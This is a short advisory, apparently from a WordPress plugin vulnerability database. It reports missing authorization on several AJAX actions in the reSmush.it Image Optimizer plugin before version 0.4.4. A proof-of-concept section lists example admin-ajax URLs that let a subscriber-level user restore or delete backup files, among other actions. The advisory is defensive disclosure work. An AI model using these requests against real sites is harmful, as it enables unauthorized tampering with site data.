WordPress Plugin Vulnerabilities
reSmush.it Image Optimizer < 0.4.4 - Subscriber+ AJAX Calls
Description
The plugin lacks authorization in various AJAX actions, allowing any logged-in users, such as subscribers to call them.
Proof of Concept
Examples of actions where low-privileged users can directly ask - https://example.com/wp-admin/admin-ajax.php?action=resmushit_bulk_get_images - https://example.com/wp-admin/admin-ajax.php?action=resmushit_restore_backup_files - https://example.com/wp-admin/admin-ajax.php?action=resmushit_remove_backup_files - https://example.com/wp-admin/admin-ajax.php?action=resmushit_update_statistics
Affects Plugins
Fixed in version 0.4.4
References
Classification
Miscellaneous
Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-10-19 (about 3 months ago)
Added
2022-10-19 (about 3 months ago)
Last Updated
2022-10-19 (about 3 months ago)